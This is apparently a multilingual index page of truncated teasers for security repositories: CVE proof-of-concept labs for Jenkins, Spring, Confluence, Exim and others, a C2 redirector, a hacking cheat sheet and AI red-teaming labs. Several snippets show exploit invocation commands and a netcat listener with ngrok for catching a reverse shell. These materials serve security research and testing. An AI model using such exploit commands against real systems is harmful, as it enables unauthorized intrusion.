CVE-2020-8165

CVE-2020-8165 Ruby on Rails Solo con fines educativos. Consulte la Referencia para más detalles. Entorno Ruby: 2.6.3 Rails: 5.2.3 Ejecución root@kitploit: $ git clone https://github.com/masahiro331/CVE-2020-8165.git $ bundle install --path vendor/bundle $ bundle exec rails db:migrate $ bundle exe...

apache__nifi_CVE-2022-33140_1-16-22

Apache NiFi 상태 리소스 연락처 !Track Issueshttps://img.shields.io/bad...

cve-2017-12149-playground

은행, 의료, 제조와 같은 많은 핵심 산업은 JBoss 5 또는 6에서만 실행되도록 구축된 레거시 미들웨어에 의존합니다. 이러한 애플리케이션은 최신 버전의 WildFlyJBoss의 후속 제품로 마이그레이션하기에는 너무 취약한 경우가 많기 때문에, 조직은 패치를 적용하는 대신 "에어갭air-gap" 처리하거나 VPN 뒤에 숨기는 선택을 합니다. 이러한 경계 방어가 실패하면 취약점은 여전히 활성 상태로 패치되지 않은 채 남아 있습니다. JBoss AS 6.1.0 취약점 연구 랩 이 저장소는 보안 연구 및 취약점 검증을 위해 특별히...

Exploit-CVE-2024-23897

익스플로잇-CVE-2024-23897 컨테이너 실행 docker run -p 8080:8080 --name vulnerable-jenkins -d jenkins/jenkins:2.441-jdk17 로그 확인 docker logs 도커 머신 IP 가져오기: docker inspect vulnerable-jenkins | grep IPAddress 익스플로잇 코드: python3 exploit.py --target http://127.0.0.1:8080 --file...

CVE-2023-5044

CVE-2023-5044 CVE-2023-5044 的PoC 前提条件 Kind: v0.20.0 Kubectl: v1.29.3 Docker: v26.0.0 PoC 授予Docker正确的权限 root@kitploit: sudo usermod -aG docker $USER && newgrp docker 使用extraPortMaping和node-labels启动集群，为ingress做准备。 root@kitploit: cat EOF | kind create cluster --config=- kind: Cluster apiVersion:...

dnschef-ng

!NOTE Esta es una versión actualizada de DNSChef escrito originalmente por @iphelix | | v0.7 | | / | | | | | | | / | ' / |/ | ' \ / \ || ' \ / | | | | | | \ | | | | / | | | | | | | ,|| ||/ || | ||| | | || , | / | | / D O C U M E N T A T I O N root@kitploit: DNSChef es un proxy DNS altamente...

spring4shell-exploit-poc

Spring4Shell Exploit POC Exploit a Spring Application vulnerable to the Spring4Shell vulnerability. Read more about Spring4shell on our blog. Usage Requirements: Docker and docker-compose root@kitploit: $ ./exploit.sh Vulnerable Spring Application The vulnerable Spring application contains a GET...

CVE-2023-36884-MS-Office-HTML-RCE

CVE-2023-36884: RCE en MS Office HTML con documentos manipulados El 11 de julio de 2023, Microsoft publicó un parche destinado a abordar múltiples vulnerabilidades de ejecución remota de código RCE explotadas activamente. Esta acción también sacó a la luz una campaña de phishing orquestada por un...

RedCaddy

RedCaddy مُوجّه C2 مبني على Caddy جدول المحتويات نظرة عامة الميزات ملاحظة بدء سريع خطوة بخطوة المراجع نظرة عامة توليد ملف Caddyfile باستخدام ملفات C2 malleable profiles الميزات حظر IP حسب بلد GEOIP السماح بالطلبات وفق مُطابِق للترويسات header matcher قائمة سوداء لـ User-agent و IP دعم إعادة توجيه...

CVE-2024-21683-RCE

Utilisation python poc.py -u http://localhost:8090 -user admin -pass admin -f exploit.js -n test -p http://127.0.0.1:8080 POC...

cve-2022-42889-text4shell

Maven 설치 - maven-linux 1. fat jar를 생성하기 위해 Maven install을 실행합니다. root@kitploit: mvn clean install 2. Docker 빌드 root@kitploit: docker build --tag=text4shell . 3. Docker 실행 root@kitploit: docker run -p 80:8080 text4shell 4. 앱 테스트 root@kitploit: http://localhost/text4shell/attack?search= 5. 공격은 앞서 언...

CVE-2022-22963

CVE-2022-22963 CVE-2022-22963 Spring-Cloud-Function-SpELRCE Reprodução da Vulnerabilidade Requer ambiente Docker Método 1 para iniciar o ambiente vulnerável root@kitploit: git clone https://github.com/RanDengShiFu/CVE-2022-22963.git;cd CVE-2022-22963;bash Start.sh Método 2 para iniciar o ambiente...

CVE-2025-55182-Test-Server

CVE-2025-55182-Тестовый-сервер Поиграйте с react2shell в безопасной среде! Быстрый старт Клонируйте репозиторий root@kitploit: git clone https://github.com/CharlesTheGreat77/CVE-2025-55182-Test-Server cd CVE-2025-55182-Test-Server Запустите docker-файл root@kitploit: docker compose up --build -d...

LearnDash

LearnDash Sqli LearnDash = 4.25.6 - Inyección SQL Admin+ Descripción El complemento de WordPress LearnDash con versión inferior a 4.25.6 es vulnerable a inyección SQL Admin+. Detalles Tipo : plugin Slug : sfwd-lms Versión afectada : Puntuación CVSS : 9.8 Gravedad CVSS : Crítica Vector CVSS :...

CVE-2017-16943

CVE-2017-16943 Настройка среды root@kitploit: git clone https://github.com/Exim/exim.git git checkout 01c594601670c7e48e676d6c6d32d0f0084067fa cd ./exim/src mkdir Local wget "https://bugs.exim.org/attachment.cgi?id=1051" -O Makefile Измените переменные пути и имя пользователя в Makefile...

connectwise-automate-AiTM-rce

ConnectWise Automate Adversary-in-the-Middle Remote Code Execution Table of Contents Background Timeline Thoughts and Learnings Responsible Disclosure PoC Code Report Provided to ConnectWise Summary Vulnerable Configuration Impact Technical Details 1. HTTP Transport 2. Insufficient Protocol...

thc-tips-tricks-hacks-cheat-sheet

Los consejos, trucos y hacks favoritos de THC Hoja de referencia https://thc.org/tips Una colección de nuestros trucos favoritos. Muchos de esos trucos no son nuestros. Simplemente los recopilamos. Mostramos los trucos 'tal cual' sin ninguna explicación de por qué funcionan. Necesitas conocer Lin...

CVE-2025-6713

CVE-2025-6713 Creación de un pipeline de agregación para acceder a datos sin la autorización adecuada debido al manejo incorrecto de $mergeCursors en MongoDB v8.0 v7.0 v6.0 6.0.22 instalación no es muy difícil, solo usa pip3 para instalar los requisitos: pip install -r requirements uso...

AI-Red-Teaming-Playground-Labs

Laboratorios de Práctica de AI Red Teaming Este repositorio contiene los retos para los laboratorios utilizados en el curso "AI Red Teaming in Practice". El curso se impartió originalmente en Black Hat USA 2024 por Dr. Amanda Minnich y Gary Lopez. Martin Pouliot se encargó de la infraestructura y...

CVE-2023-22527-confluence

CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC real Uso Descargar bun https://github.com/oven-sh/bun/releases Iniciar ngrok root@kitploit: ngrok tcp 4444 Escuchar en localhost 4444 root@kitploit: nc -nvlp 4444 Ejecutar exploit root@kitploit: bun exploit-CVE-2023-22527.js --lhost...